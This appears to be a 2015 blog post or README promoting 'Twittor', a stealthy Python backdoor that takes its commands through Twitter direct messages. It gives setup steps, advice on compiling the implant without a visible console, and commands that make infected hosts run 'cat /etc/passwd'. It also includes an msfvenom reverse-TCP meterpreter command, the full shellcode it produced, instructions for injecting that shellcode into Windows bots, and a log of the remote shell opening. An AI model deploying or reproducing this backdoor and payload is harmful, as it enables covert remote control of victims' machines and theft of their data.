Twittor - A fully featured backdoor that uses Twitter as a C&C server

Thursday, October 15, 2015


A stealthy Python based backdoor that uses Twitter (Direct Messages) as a command and control server This project has been inspired by Gcat which does the same but using a Gmail account.

Setup
For this to work you need:
  • A Twitter account ( Use a dedicated account! Do not use your personal one! )
  • Register an app on Twitter with Read, write, and direct messages Access levels.
Install the dependencies:
$ pip install -r requirements.txt
This repo contains two files:
  • twittor.py which is the client
  • implant.py the actual backdoor to deploy
In both files, edit the access token part and add the ones that you previously generated:
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
You're probably going to want to compile implant.py into an executable using Pyinstaller In order to remove the console when compiling with Pyinstaller, the flags --noconsole --onefile will help. Just saying.

Usage
In order to run the client, launch the script.
$ python twittor.py
You'll then get into an 'interactive' shell which offers few commands that are:
$ help

    refresh - refresh C&C control
    list_bots - list active bots
    list_commands - list executed commands
    !retrieve <jobid> - retrieve jobid command
    !cmd <MAC ADDRESS> command - execute the command on the bot
    !shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
    help - print this usage
    exit - exit the client

$ 
  • Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$
The output is the MAC address which is used to uniquely identifies the system but also gives you OS information the implant is running on. In that case a Linux box.
  • Let's issue a command to an implant:
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$
Here we are telling B7:76:1F:0B:50:B7 to execute cat /etc/passwd , the script then outputs the jobid that we can use to retrieve the output of that command
  • Lets get the results!
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)
Command to use in that case is !retrieve followed by the jobid from the command.
  • Refresh results
In order to retrieve new bots/command outputs but also force the client to refresh the results, use the refresh command.
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$
This will send a PING request and wait 10 seconds for them to answer. Direct messages will then be parsed - Bot list will be refreshed but also the command list, including new command outputs.
  • Retrieve previous commands
As I said earlier, (previous) commands will be retrieved from older direct messages (limit is 200) and you can actually retrieve/see them by using the list_commands command
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
  • Running shellcode (Windows hosts)
This option might be handy in order to retrieve a meterpreter session and this article becomes really useful.
Generate your meterpreter shellcode, like:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
Extract the shellcode and send it to the specified bot using the !shellcode command!
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$
Et voilà!
msf exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.1:3615 
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec
Open a beer and enjoy your reverse meterpreter shell.




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